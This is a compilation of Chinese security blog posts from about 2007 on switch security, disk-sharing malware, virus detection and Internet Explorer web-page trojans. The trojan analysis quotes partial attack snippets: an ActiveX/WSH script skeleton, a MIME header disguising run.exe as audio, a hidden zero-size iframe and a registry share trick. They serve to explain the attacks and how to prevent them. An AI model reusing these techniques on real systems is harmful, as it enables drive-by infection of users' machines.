安全網管SNMP v3 提出全新的體系結構，将各版本的SNMP 标準集中到一起，進而加強網管安全性。SNMP v3建議的安全模型是基于用戶的安全模型，即USM。USM對網管消息進行加密和認證是基于用戶進行的，具體地說就是用什麽協議和密鑰進行加密和認證均由用戶名稱(userNmae)權威引擎标識符(EngineID)來決定(推薦加密協議CBCDES，認證協議HMAC-MD5-96 和HMAC-SHA-96)，通過認證、加密和時限提供數據完整性、數據源認證、數據保密和消息時限服務，從而有效防止非授權用戶對管理信息的修改、僞裝和竊聽。

至于通過Telnet 的遠程網絡管理，由于Telnet 服務有一個緻命的弱點——它以明文的方式傳輸用戶名及口令，所以，很容易被别有用心的人竊取口令，受到攻擊，但采用SSH進行通訊時，用戶名及口令均進行了加密，有效防止了對口令的竊聽，便于網管人員進行遠程的安全網絡管理。

Syslog和Watchdog

交換機的Syslog 日志功能可以将系統錯誤、系統配置、狀态變化、狀态定期報告、系統退出等用戶設定的期望信息傳送給日志服務器，網管人員依據這些信息掌握設備的運行狀況，及早發現問題，及時進行配置設定和排障，保障網絡安全穩定地運行。

Watchdog 通過設定一個計時器，如果設定的時間間隔内計時器沒有重啓，則生成一個内在CPU重啓指令，使設備重新啓動，這一功能可使交換機在緊急故障或意外情況下時可智能自動重啓，保障網絡的運行。

雙映像文件

一些最新的交換機，像A S U SGigaX2024/2048還具備雙映像文件。這一功能保護設備在異常情況下(固件升級失敗等)仍然可正常啓動運行。文件系統分majoy和 mirror兩部分進行保存，如果一個文件系統損害或中斷，另外一個文件系統會将其重寫，如果兩個文件系統都損害，則設備會清除兩個文件系統并重寫爲出廠時默認設置，确保系統安全啓動運行。

其實，近期出現的一些交換機産品在安全設計上大都下足了功夫——層層設防、節節過濾，想盡一切辦法将可能存在的不安全因素最大程度地排除在外。廣大企業用戶如果能夠充分利用這些網絡安全設置功能，進行合理的組合搭配，則可以最大限度地防範網絡上日益泛濫的各種攻擊和侵害，願您的企業網絡自此也能更加穩固安全。

流覽惡意網頁硬碟被非法共用

2007-08-22T01:46:00.001-07:00

所謂的浏覽網頁硬盤被共享，是受害者在浏覽了含有有害代碼的ActiveX網頁文件後中招的。以下是該網頁源代碼中的關鍵部分：在HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\CurrentVersion\Network\LanMan下面添加鍵值“RWC$”，在RWC$“下又分别建立鍵值”Flags“、”Type“”Path“，這樣就把c盤設爲共享，共享名爲RWC$.而且，你在網絡屬性中還看不到硬盤被共享了！如果把"Flags"=dword：00000302改成"Flags"=dword：00000402，就可看到硬盤被共享。隻要浏覽這類網頁硬盤被共享，其危害較之木馬要更大。如果不小心中招，那麽完全可以把你的硬盤當做他的一個邏輯硬盤，他可以在你電腦中随意拷貝文件，删除文件，給文件改名……什麽秘密都沒有了，甚至可以格式化你的硬盤，總之，你的一切都在他的掌握之下了，想想夠可怕了吧？！

應該如何解決呢？
把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Network\LanMan下面的“RWC$”删掉。也可以把windows\system\下面的Vserver.vxd（Microsoft 網絡上的文件與打印機共享，虛拟設備驅動程序）删掉，再把HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Services\VxD\下的Vserver鍵值删掉，永絕這類“木馬”的後路吧！

防禦防範：
1、要避免中招，關鍵是不要輕易去一些自己并不了解的站點，特别是那些看上去美麗誘人的網址，更不要貿然前往，否則吃虧的往往是你。

2、運行IE，點擊“工具→Internet選項→安全→Internet區域的安全級别，把安全級别由”中“改爲”高“。

3、由于該類網頁是含有有害代碼的ActiveX網頁文件，因此在IE設置中将ActiveX插件和控件、 Java腳本等全部禁止，就可以避免中招。具體方法是：在IE窗口中點擊“工具→Internet選項，在彈出的對話框中選擇”安全“标簽，再點擊”自定義級别“按鈕，就會彈出”安全設置“對話框，把其中所有ActiveX插件和控件以及Java相關全部選擇”禁用“即可。不過，這樣做在以後的網頁浏覽過程中可能會造成一些正常使用ActiveX的網站無法浏覽。唉，有利就有弊，您還是自己看着辦吧。

4、對于Windows98用戶，請打開C：\WINDOWS\JAVA\Packages\ CVLV1NBB.ZIP，把其中的“ActiveXComponent.class”删掉；對于WindowsMe用戶，請打開C：\WINDOWS\ JAVA\Packages\5NZVFPF1.ZIP，把其中的“ActiveXComponent.class”删掉。請放心，删除這個組件不會影響到你正常浏覽網頁的。　

5、既然這類網頁是通過修改注冊表來破壞我們的系統，那麽我們可以事先把注冊表加鎖：禁止修改注冊表，這樣就可以達到預防的目的。不過，如果自己要使用注冊表編輯器regedit.exe時，該怎麽辦呢？因此我們還要在此前事先準備一把“鑰匙”，以便打開這把“鎖”！

加鎖方法如下：
（1）運行注冊表編輯器regedit.exe；
（2）展開注冊表到HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Policies\System下，新建一個名爲DisableRegistryTools的DWORD 值，并将其值改爲“1”，即可禁止使用注冊表編輯器regedit.exe.

解鎖方法如下：
用記事本編輯一個任意名字的。reg文件，比如unlock.reg，内容如下：

REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]　"DisableRegistryTools"=dword：00000000
存盤。你就有了一把解鎖的鑰匙了！如果要使用注冊表編輯器，則雙擊unlock.reg即可。要注意的是，在“REGEDIT4”後面一定要空一行，并且“REGEDIT4”中的“4”和“T”之間一定不能有空格，否則将前功盡棄！

6、安裝網絡防火牆，特别是安裝了Norton2001後，進入該類網頁就會報警提示有腳本寫注冊表，國産反病毒軟件KVW3000也有此類功能，建議您也安裝一個這樣的軟件。

7、雖然經過一番辛苦的勞動修改回了标題和默認連接首頁，但如果以後又不小心進入該站，就又得麻煩一次。其實，你可以在IE中做一些設置，以便永遠不進該站點：
打開IE，點擊“工具”→“Internet選項”→“内容”→“分級審查”，點“啓用”按鈕，會調出“分級審查”對話框，然後點擊“許可站點”标簽，輸入不想去的網站網址，如輸入：http://www.sohu8.com，按“從不”按鈕，再點擊“确定”，即大功告成！

硬盤及内存檢測病毒 - 四種查病毒的絕招

2007-08-22T01:45:00.004-07:00

病毒要進行傳染，必然會留下痕迹。生物醫學病毒如此，電腦病毒也是一樣。檢測電腦病毒，就要到病毒寄生場所去檢查，發現異常情況，并進而驗明“正身”，确認電腦病毒的存在。電腦病毒靜态時存儲于硬盤中，被激活時駐留在内存中，因此對電腦病毒的檢測可以分爲對硬盤的檢測和對内存的檢測。

一般對硬盤進行病毒檢測時，要求内存中不帶病毒，因爲某些電腦病毒會向檢測者報告假情況。例如“4096”病毒在内存中時，查看被它感染的文件，不會發現該文件的長度已發生變化，而當在内存中沒有病毒時，才會發現文件長度已經增長了4096字節；又例如， “DIR2”病毒在内存中，用Debug程序查看被感染文件時，根本看不到“DIR2”病毒的代碼，很多檢測程序因此而漏過了被感染的文件；還有引導區型的“巴基斯坦智囊”病毒，當它活躍在内存中時，檢查引導區就看不到病毒程序而隻看到正常的引導扇區。因此，隻有在要求确認某種病毒的類型和對其進行分析、研究時，才能在内存中帶毒的情況下作檢測工作。從原始的、未受病毒感染的DOS系統軟盤啓動，可以保證内存中不帶病毒。啓動必須是上電啓動而不是按鍵盤上的“Alt+Ctrl+Del”三鍵的那種熱啓動，因爲某些病毒可以通過截取鍵盤中斷，将自己駐留在内存中。檢測硬盤中的病毒，啓動系統軟盤的DOS版本号應該等于或高于硬盤内DOS系統的版本号。如果硬盤上使用了硬盤管理軟件DM、ADM，硬盤壓縮存儲管理軟件Stacker、DoubleSpace 等，啓動系統軟盤時應把這些軟件的驅動程序包括在軟盤上，并把它們寫入config.sys文件中，否則用系統軟盤引導啓動後，将不能訪問硬盤上的所有分區，使躲藏在其中的病毒逃過檢查。　
　
檢測硬盤中的病毒可分成檢測引導區型病毒和檢測文件型病毒。這兩種檢測的原理上相同，但由于病毒的存儲方式不同，檢測方法還是有差别的。主要是基于下列四種方法:比較被檢測對象與原始備份的比較法；利用病毒特征代碼串進行查找的搜索法；搜索病毒體内特定位置的特征字識别法；運用反彙編技術分析被檢測對象，确證是否爲病毒的分析法。
　　
比較法
這是用原始備份與被檢測的引導扇區或被檢測的文件進行比較的方法，可以用打印的代碼清單（比如Debug的D命令輸出格式）進行比較，也可用程序來進行比較(如DOS的DISKCOMP、COMP或PCTOOLS等其它軟件)。比較法不需要專用的查病毒程序，隻要用常規DOS軟件和PCTOOLS等工具軟件就可以進行，而且還可以發現那些尚不能被現有的殺毒軟件發現的計算機病毒。因爲病毒傳播得很快，新病毒層出不窮，而目前還沒有能查出一切病毒的通用程序，或通過代碼分析，可以判定某個程序中是否含有病毒的查毒程序，所以隻有靠比較法和分析法，或這兩種方法相結合來發現新病毒。　對硬盤的主引導區或對DOS的引導扇區作檢查，用比較法能發現其中的程序源代碼是否發生了變化。由于要進行比較，因此保留好原始備份是非常重要的。制作備份時必須在無電腦病毒的環境裏進行，制作好的備份必須妥善保管，寫好标簽，貼好寫保護。比較法的好處是簡單、方便，不用專用軟件；缺點是無法确認病毒的種類名稱。另外，造成被檢測程序與原始備份之間差别的原因尚需進一步驗證，以查明是電腦病毒造成的，還是DOS數據被偶然原因，如突然停電、程序失控、惡意程序等破壞的。這些要用到以後講的分析法，查看變化部分代碼的性質，以此來确認是否存在病毒。

搜索法 　　
這種方法主要是對每一種病毒含有的特定字符串進行掃描，如果在被檢測對象内部發現了某一種特定字節串，就表明發現了該字節串所代表的病毒。國外稱這種按搜索法工作的病毒掃描軟件爲“Scanner”。這種病毒掃描軟件由兩部分組成:一部分是病毒代碼庫，含有經過特别選定的各種電腦病毒的代碼串；另一部分是利用該代碼庫進行掃描的掃描程序，病毒掃描程序能識别的電腦病毒的數目完全取決于病毒代碼庫内所含病毒種類的多少。病毒代碼串的選擇是非常重要的，短小的病毒代碼隻有一百多個字節，長的也隻有10KB字節。一定要在仔細分析程序之後選出最具代表特性的，足以将該病毒區别于其它病毒和該病毒的其它變種的代碼串。一般情況下，代碼串是由連續若幹個字節組成的，但是有些掃描軟件采用的是可變長串，即在串中包含有一個到幾個“模糊”字節。掃描軟件遇到這種串時，隻要除“模糊”字節之外的字串都能完好匹配，就也能夠判别出病毒。另外，特征串還必須能将病毒與正常的非病毒程序區，不然就會出現“假報、誤報”。
　　
特征字識别法 　　
這是基于特征串掃描法發展起來的一種方式，運行速度較快、誤報頻率較低。特征字識别法隻須從病毒體内抽取很少的幾個關鍵特征字，組成特征字庫。由于需要處理的字節很少，又不必進行串匹配，因此大大加快了識别速度，當被處理的程序很大時，用這種辦法比較合适。由于特征字識别法更注意電腦病毒的“程序活性”，因此減少了錯報的可能性。使用基于特征串掃描法的查病毒軟件方法與使用基于特征字識别法的查病毒軟件方法是一樣的，隻要運行查毒程序，就能将已知的病毒檢查出來。這兩種方法的使用，都須要不斷地對病毒庫進行擴充，一旦捕捉到病毒，經過提取特征并加入到病毒庫，就能使查病毒程序多檢查出一種新病毒來。

分析法
這種方法一方面可以确認被觀察的磁盤引導區和程序中是否含有病毒，另一方面可以辨認病毒的類型和種類，判定是否爲一種新病毒，另外還可以搞清楚病毒體的大緻結構，提取用于特征識别的字節串或特征字，增添到病毒代碼庫中供病毒掃描和識别程序使用。同時，詳細地分析病毒代碼，還有助于制定相應的反病毒方案。與前三種檢測病毒的方法不同，使用分析法檢測病毒，除了要具有相關的知識外，還需要使用Debug、 Proview等分析工具程序和專用的試驗用計算機。因爲即使是很精通病毒的技術人員，使用性能完善的分析軟件，也不能完全保證在短時間内将病毒代碼分析清楚；而病毒則有可能在被分析階段繼續傳染甚至發作，把軟盤、硬盤内的數據完全毀壞掉，所以分析工作必須在專門的試驗用PC機上進行，不怕其中的數據被破壞。不具備必要的條件，不要輕易開始分析工作。很多電腦病毒采用了自加密、抗跟蹤等技術，使得分析病毒的工作經常是冗長枯燥的。特别是某些文件型病毒的源代碼可達10KB以上，與系統的牽扯層次很深，使詳細的剖析工作十分複雜。病毒檢測的分析法是反病毒工作中不可或缺的重要技術，任何一個性能優良的反病毒系統的研制和開發都離不開專門人員對各種病毒詳盡、認真的分析。

分析法分爲靜态和動态兩種。靜态分析是指利用Debug等反彙編程序将病毒代碼打印成反彙編後的程序清單進行分析，看病毒分成哪些模塊，使用了哪些系統調用，采用了哪些技巧，如何将病毒感染文件的過程翻轉爲清除病毒、修複文件的過程，哪些代碼可被用做特征碼以及如何防禦這種病毒等等。分析人員的素質越高，分析過程就越快，理解也就越深；動态分析則是指利用Debug等程序調試工具在内存帶毒的情況下，對病毒作動态跟蹤，觀察病毒的具體工作過程，以進一步在靜态分析的基礎上理解病毒工作的原理。在病毒編碼比較簡單的情況下，動态分析不是必須的。但是，當病毒采用了較多的技術手段時，就必須使用動、靜相結合的分析方法才能完成整個分析過程。　　

綜上所述，利用原始備份和被檢測程序相比較的方法适合于不用專用軟件，可以發現異常情況的場合，是一種簡單、基本的病毒檢測方法；掃描特征串和識别特性字的方法更适用于廣大PC機用戶使用，方便而又迅速；但對新出現的病毒會出現漏檢的情況，須要與分析和比較法結合使用。

通過采取技術上和管理上的措施，電腦病毒是完全可以防範的

網頁病毒深度剖析以及手工清除的方法

2007-08-22T01:45:00.003-07:00

前言

殺毒軟件風靡全球的今天，各式各樣的病毒仍然在網絡上橫行，其形式的多樣化，自身之?蔽性都大大的提高。其中，網頁病毒、網頁木馬就是這個新型病毒大軍中危害面最廣泛，傳播效果最佳的。之所以會出此篇，也是在考慮到太多的人都在網頁病毒中“應聲倒下”，卻不知自己是如何中毒，以及中毒後如何去處理。就此問題，我們開始以下，對網頁病毒、網頁木馬這一“新概念”做個詳細的剖析。
注：?什?會用這?大的篇幅去介紹網頁病毒、網頁木馬的常識和運行機理，而非機械地去介紹如何如何做，大家在通讀全文後便有個新的了解。

第一章惡意網頁的基本常識

第一節什?是網頁病毒

網頁病毒是利用網頁來進行破壞的病毒，它存在于網頁之中，其實是使用一些SCRIPT語言編寫的一些惡意代碼利用IE的漏洞來實現病毒植入。當用戶登錄某些含有網頁病毒的網站時，網頁病毒便被悄悄激活，這些病毒一旦激活，可以利用系統的一些資源進行破壞。輕則修改用戶的注冊表，使用戶的首頁、?覽器?題改變，重則可以關閉系統的很多功能，裝上木馬，染上病毒，使用戶無法正常使用計算機系統，嚴重者則可以?用戶的系統進行格式化。而這種網頁病毒容易編寫和修改，使用戶防不勝防。
目前的網頁病毒都是利用JS.ActiveX、WSH共同合作來實現對客戶端計算機，進行本地的寫操作，如改寫你的注冊表，在你的本地計算機硬盤上添加、?除、更改文件夾或文件等操作。而這一功能卻恰恰使網頁病毒、網頁木馬有了可乘之機。
而在我們分析網頁病毒前，先叫我們知道促使病毒形成的罪魁禍首：Windows 腳本宿主和Microsoft Internet Explorer漏洞利用
第二節 Windows 腳本宿主，Internet Explorer漏洞以及相關

WSH，是“Windows Scripting Host”的縮略形式，其通用的中文譯名?“Windows 腳本宿主”。對于這個較?抽象的名詞，我們可以先作這樣一個籠統的理解：它是?嵌于 Windows 操作系統中的腳本語言工作環境。
　　Windows Scripting Host 這個概念最早出現于 Windows 98 操作系統。大家一定還記得 MS-Dos 下的批處理命令，它曾有效地簡化了我們的工作、帶給我們方便，這一點就有點類似于如今大行其道的腳本語言。但就算我們把批處理命令看成是一種腳本語言，那它也是 98 版之前的 Windows 操作系統所唯一支持的“腳本語言”。而此後??各種真正的腳本語言不斷出現，批處理命令顯然就很是力不從心了。面臨這一危機，微軟在研發 Windows 98 時，?了實現多類腳本文件在 Windows 界面或 Dos 命令提示符下的直接運行，就在系統?植入了一個基于 32 位 Windows 平台、并獨立于語言的腳本運行環境，并?其命名?“Windows Scripting Host”。WSH 架構于 ActiveX 之上，通過充當 ActiveX 的腳本引擎控制器，WSH ? Windows 用戶充分利用威力強大的腳本指令語言掃清了障礙。
　WSH也有它的不足之處，任何事物都有兩面性，WSH 也不例外。應該說，WSH 的優點在于它使我們可以充分利用腳本來實現計算機工作的自動化；但不可否認，也正是它的這一特點，使我們的系統又有了新的安全?患。許多計算機病毒制造者正在熱衷于用腳本語言來編制病毒，并利用 WSH 的支持功能，讓這些?藏?病毒的腳本在網絡中廣?傳播。借助WSH的這一缺陷，通過JAVASCRIPT，VBSCRIPT，ACTIVEX等網頁腳本語言，就形成了現在的“網頁危機”。
促使這一問題發生的還有問題多多Internet Explorer 的自身漏洞。比如：“錯誤的MIMEMultipurpose Internet Mail Extentions，多用途的網際郵件擴充協議頭”，“Microsoft Internet Explorer?覽器彈出窗口Object類型驗證漏洞”。而以下介紹的幾個組件存在的問題或漏洞或是在安全問題上的過濾不嚴密問題，卻又造成了“網頁危機”的另外一個重要因素。
l Java語言可以編寫兩種類型的程序：應用程序(Application)和小應用程序(Applet)。應用程序是可以獨立運行的程序，而Applet不能獨立運行，需要嵌入HTML文件,遵循一套約定，在支持Java的?覽器(如：Netscape Navigator 2.02版本以上，HotJava,Microsoft Internet Explorer 3.0版本以上)運行，是Java一個重要的應用分支，也是當時Java最令人感興趣的地方(它一改網頁呆闆的界面)，就是在WWW網頁(Home Page / Pages)設計中加入動畫、影像、音樂等，而要達到這些效果使用最多的是Java Applet和Java Script (這是一種Java的命令語言)。
l JavaScript是一種基于對象(Object)和事件驅動(Event Driven)并具有安全性能的腳本語言。使用它的目的是與HTML超文本?記語言、與Web客戶交互作用。從而可以開發客戶端的應用程序等。它是通過嵌入或文件引用在?準的HTML語言中實現的。它的出現彌補了HTML語言的缺陷，它是Java與HTML折衷的選擇，具有基于對象、簡單、安全、動?、跨平台性等特性。
l ActiveX是Microsoft提出的一組使用COM(Component Object Model，部件對象模型)使得軟件部件在網絡環境中進行交互的技術。它與具體的編程語言無關。作?針對Internet應用開發的技術，ActiveX被廣泛應用于WEB服務器以及客戶端的各個方面。同時，ActiveX技術也被用于方便地創建普通的桌面應用程序。在Applet中可以使用ActiveX技術，如直接嵌入ActiveX控制，或者以ActiveX技術?橋梁，?其它開發商提供的多種語言的程序對象集成到Java中。與Java的字節碼技術相比，ActiveX提供了“代碼簽名”(Code Signing)技術保證其安全性。

第三節網頁病毒的攻擊方式

既然是網頁病毒，那?很簡單的說，它就是一個網頁，甚至于制作者會使這個特殊網頁與其他一般的網頁?無他樣，但在這個網頁運行與本地時，它所執行的操作就不僅僅是下載後再讀出，伴??前者的操作背後，還有這病毒原體軟件的下載，或是木馬的下載，然後執行，悄悄地修改你的注冊表，等等…那?，這類網頁都有什?特征呢？
§ 1.美麗的網頁名稱，以及利用?覽者的無知.
不得不承認，很多惡意網頁或是站點的制作者，他們對?覽者的心理分析是下功夫的，對域名的選擇和利用絕對是很到位的。很多上網的男性網民大都對MM照片感興趣，這就是他們利用的一個渠道。如你看到了一個域名：www.lovemm.com，或是http://plmm.yeah.net等等. 你會動心去看?。如果不會，再看這個域名：/Article/UploadFiles/200603/20060301160330179.gif 這個地址你會去看?？很顯然，咋一看，圖片！一張可能是MM的圖片，又有懂點安全知識的人說了，放心它不可能是BMP圖片木馬，你用這個地址打開一定是張.GIF格式的圖片。好，你可以去嘗試一下。再看另外一個域名，很顯然是經過構造的。/Article/UploadFiles/200603/20060301160331961.gif 你還能“火眼金睛”嗎？不知道結果是什?，那你就放心的去點擊它看看。

§ 2.利用?覽者的好奇心
在這裏我要說一句，這樣的人中毒也是自找。對什?都要好奇這可不是個好習慣。有些東西不是你想看就可以去看的。[作者注]有這個習慣的都改改.^_^!

§ 3.無意識的?覽者
這類人，對他們的同情，我們表示遭遇。^_^!

在我們基本了解了網頁病毒、網頁木馬的運行機體環境後，讓我們開始重點分析一下網頁病毒是如何對我們的計算機進行攻擊，并染毒，并自我保護的。

第二章網頁病毒、網頁木馬機理深度剖析

第一節網頁病毒、網頁木馬的制作方式

Ⅰ.Javascript.Exception.Exploit
利用JS+WSH的完美結合，來制作惡意網頁的方法幾乎是所有惡意站點必有的“功能”。

Ⅱ. 錯誤的MIME Multipurpose Internet Mail Extentions，多用途的網際郵件擴充協議頭.
幾乎是現在網頁木馬流行利用的基本趨勢，這個漏洞在IE5.0到IE6.0版本中都有，對這?一個全能的漏洞，大家怎能不重視？

Ⅲ..EXE to .BMP + Javascritp.Exception.Exploit
具體的.EXE轉化到.BMP的文章我想大家都見到過，而且不隻一次。應用方法很簡單：誘騙?覽者上當。

Ⅳ. iframe 漏洞的利用
當微軟的IE窗口打開另一個窗口時，如果子窗口是另一個域或安全區的話，安全檢查應當阻止父窗口訪問子窗口。但事實并非如此，父窗口可以訪問子窗口文檔的frame，這可能導緻父窗口無論是域或安全區都能在子窗口中設置Frame或IFrame的URL。這會帶來嚴重的安全問題，通過設置URL指向javascript協議，父窗口能在子域環境下運行腳本代碼，包括任意的惡意代碼。攻擊者也能在“我的電腦”區域中運行腳本代碼。這更會造成嚴重的後果。

Ⅴ.通過安全認證的CAB,COX
此類方法就是在.CAB文件上做手腳，使證書.SPC和密鑰.PVK合法
原理：IE讀文件時會有文件讀不出，就會去“升級”這樣它會在網頁中指定的位置找 .cab 并在系統裏寫入個CID讀入.cab裏的文件。
方法：.cab是WINDOWS裏的壓縮文件，我們知道IE裏所用的安全文件是用簽名的CAB也不例外，所做的CAB是經過安全使用證書引入的。也就是說IE認證攻擊，隻所以每次都能入侵我的腦，是因?它通過的是IE認證下的安全攻擊，這樣不管我怎?做都沒辦法。

Ⅵ.EXE文件的捆綁
現在的網頁木馬捆綁機幾乎是開始泛濫了，多的數不勝數。再?生成的MHT文件進行加密，好，這樣一來，連我們最信任的殺毒軟件也無效了。

第二節網頁病毒、網頁木馬的運行機理分析

Ⅰ.Javascript.Exception.Exploit
精華語句：
Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX，?修改注冊表做準備
a1=document.applets[0];
//獲取applet運行對象，以下語句指向注冊表中有關IE的表項
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}";
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}";
a1.createInstance();
Net = a1.GetObject();
try
{
開始做壞事
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函數，并每隔一秒執行修改程序
setTimeout("destroy()", 1000); //設定運行時間1秒
}
Do() //壞事執行函數指令

全部是JS編寫，沒有什?高深的技術，但它卻可以把你的計算機注冊表改的是亂78糟，在你的計算機裏留下各式各樣的垃圾，甚至于連聲招呼都不打就G了你的硬盤。所列出的整段函數看起來簡單明了，聲明函數，初始化環境，取得注冊對象，執行讀，寫，?權限，定義操作時間（快得叫你連反映都沒有）。

Ⅱ. 錯誤的MIME Multipurpose Internet Mail Extentions，多用途的網際郵件擴充協議頭.
精華語句：
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====B===="
--====B====
Content-Type: multipart/alternative;
boundary="====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

--====A====--
--====B====
Content-Type: audio/x-wav;
name="run.exe"
Content-Transfer-Encoding: base64
Content-ID: ---以下省略AAAAA N+1個---

把run.exe的類型定義?audio/x-wav，這下清楚了，這是利用客戶端支持的 MIME(多部
分網際郵件擴展，Multipart Internet Mail Extension) 類型的漏洞來完成的。當申明郵件
的類型?audio/x-wav時，IE存在的一個漏洞會?附件認?是音頻文件自動嘗試打開，，結果導緻郵件文件x.eml中的附件run.exe被執行。在win2000上，即使是用鼠?點擊下載下來的 x.eml，或是拷貝粘貼，都會導緻x.eml中的附件被運行。整個程序的運行還是依靠x.eml這個文件來支持。Content-Transfer-Encoding: base64 Content-ID: 從這我們可以看出，由于定義後字符格式?base64，那?一下的代碼全部?加密過的代碼，裏面可以是任何執行的命令：
〈script language=vbs〉
On Error Resume Next·　容錯語句，避免程序崩潰
set aa=CreateObject（"WScript.Shell"）·建立WScript對象
Set fs = CreateObject（"Scripting.FileSystemObject"）·建立文件系統對象
Set dir1 = fs.GetSpecialFolder（0）·得到Windows路徑
Set dir2 = fs.GetSpecialFolder（1）·得到System路徑
……省略……
下面代碼該做什?各位都該清楚吧.這就是?什?很多人中毒後不能準确的清除全部的病毒體的原因，也是很多殺毒軟件的一個通病。病毒監控隻殺當時查到的，新建的卻置之不理。

Ⅲ. iframe 漏洞的利用
一

多方便的辦法，?覽者的COOKIES就這樣輕松的被取走。

二

〈iframe src=run.eml width=0 height=0〉〈/iframe〉
常見的木馬運用格式，高度和寬度?0的一個框架網頁，我想你根本看不到它。除非你的?覽器不支持框架！

三

又是一個框架引用的新方式，對type="text/x-scriptlet" 的調整後，就可以實現和eml格式文件同樣的效果，更是防不勝防。

Ⅳ. Microsoft Internet Explorer?覽器彈出窗口Object類型驗證漏洞漏洞的利用
精華代碼：

----- code cut start for run.asp -----

----- code cut end for run.asp -----
[作者注] 我想，這個方法是現行的大部分木馬網頁中使用的頻率最高的一個。效果絕對是最好的。不管是你IE5.0還是IE6.0還是+SP1補丁的。我們都敢大聲的說：IE6.0+SP1也不是萬能的。呵呵，是不是想改用mozilla了？

總結：
幾乎所有類型的網頁病毒都有一個特性，就是再生，如何再生，讓我們從注冊表中的?動項開始分析：注冊表中管理?動的主鍵鍵值分??：
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
确認主鍵下沒有加載任何分鍵值.另外，在?動配置器裏的autoexec.bat ,win.ini,system.ini以及在WIN 9X下的winstart.ini文件，其中的存在LOAD=鍵的，它的值是空，不是空格，隻有=?。Autoexec.bat沒有加載任何程序，在「開始」菜單\程序\?動文件夾下不存在任何程序，那樣才能有效的去掉一個病毒的再生功能。不叫它開機運行，或者不在運行，那我們就可以把它從計算機上請出去。

第三節網頁病毒、網頁木馬的運行效果分析

第一、電腦中的默認主頁會被無故更改，并且IE工具欄?的修改功能被屏蔽掉；
第二、在電腦桌面上無故出現陌生網站的鏈接，無論怎??除，每次開機都依舊會出現，如果單擊鼠?右鍵，出現的工具欄中有也會有大量陌生網站的鏈接；
第三、開機後，無法進入DOS實模式；僅對WIN 9X 系統
第四、電腦桌面及桌面上的圖?被?藏；
第五、注冊表編輯器被告知“已鎖定”，從而無法修改注冊表；
第六、上網之前，系統一切正常，下網之後系統就會出現異常情況，如系統盤?失、硬盤遭到格式化等，查殺病毒後仍無濟于事；
第七、上陌生網站後，出現提示框“您已經被XX病毒攻擊”，之後系統出現異常；
第八、登陸站點後，發現一個窗口迅速打開後又消失，自己的計算機系統文件夾?多了幾個未知的好象是系統文件的新文件。
第九、發現系統的進程中多了幾個未知進程，而且殺不掉，重起後又會出現。
第十、自己的計算機CPU利用率一直是高居100%，好象是在運行什?占用?存的東西。
第十一、登陸某站點後，殺毒監控軟件報警，并?除病毒文件，位置在IE的緩沖區。重新?動計算機後發現自己的IE被改掉了。而且發現第八，第九，第十中的現象。
第十二、發現中毒後，反複殺毒，病毒反複複發，根本沒辦法清理幹淨。尤其是IE的默認頁。殺毒後修複完畢，但重新?動後又出現問題。
第十三、會不定時的彈出廣告。
第十四、自己的私有帳?無故?失。

第三章網頁病毒、網頁木馬的基本預防手段

l 要避免被網頁惡意代碼感染，首先關鍵是不要輕易去一些自己并不十分知曉的站點，尤其是一些看上去非常美麗誘人的網址更不要輕易進入，否則往往不經易間就會誤入網頁代碼的圈套。
l 由于該類網頁是含有有害代碼的ActiveX網頁文件，因此在IE設置中?ActiveX插件和控件、Java腳本等全部禁止就可以避免中招。
　　具體方法是：在IE窗口中點擊"工具→Internet選項，在彈出的對話框中選擇"安全"?簽，再點擊"自定義級?"按鈕，就會彈出"安全設置"對話框，把其中所有ActiveX插件和控件以及Java相關全部選擇"禁用"即可。不過，這樣做在以後的網頁?覽過程中可能會造成一些正常使用ActiveX的網站無法?覽。
l 對于Windows98用戶，請打開 C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP，把其中的“ActiveXComponent.class”?掉；對于WindowsMe用戶，請打開C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP，把其中的"ActiveXComponent.class"?掉。請放心，?除這個組件不會影響到你正常?覽網頁的.
l 對Win2000用戶，還可以通過在Win2000下把服務裏面的遠程注冊表操作服務"Remote Registry Service"禁用，來對付該類網頁。具體方法是：點擊"管理工具→服務→Remote Registry Service(允許遠程注冊表操作)"，?這一項禁用即可。
l 升級你的IE?6.0版本并裝上所有的SP以及追加的幾個小補丁，可以有效防範上面這些症狀。
l 下載微軟最新的Microsoft Windows Script 5.6
l 安裝病毒防火牆，一般的殺毒軟件都自帶.打開網頁監控和腳本監控.
l 雖然經過上述的工作修改回了?題和默認連接首頁，但如果以後某一天又一不小心進入這類網站就又得要麻煩了。這時你可以在IE?覽器中做一些設置以使之永遠不能進入這類站點：
打開IE屬性，點擊“工具”→ “Internet選項 ”→“安全”→“受限站點”，一定要?“安全級?”定?“高”，再點擊“站點”，在“?Web站點添加到區域中”添加自己不想去的網站網址，再點擊“添加”，然後點擊“應用”和“确定”即可正常?覽網頁了。
l 在注冊表
[HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatiblity]下?
[Active Setup controls]創建一個基于CLSID的新建{6E449683-C509-11CF-AAFA-00AA00 B6015C}在新建下創建REGDWORD類型的值：[Compatibility Flags 0x00000400]
可以間接的防止網頁木馬問題。
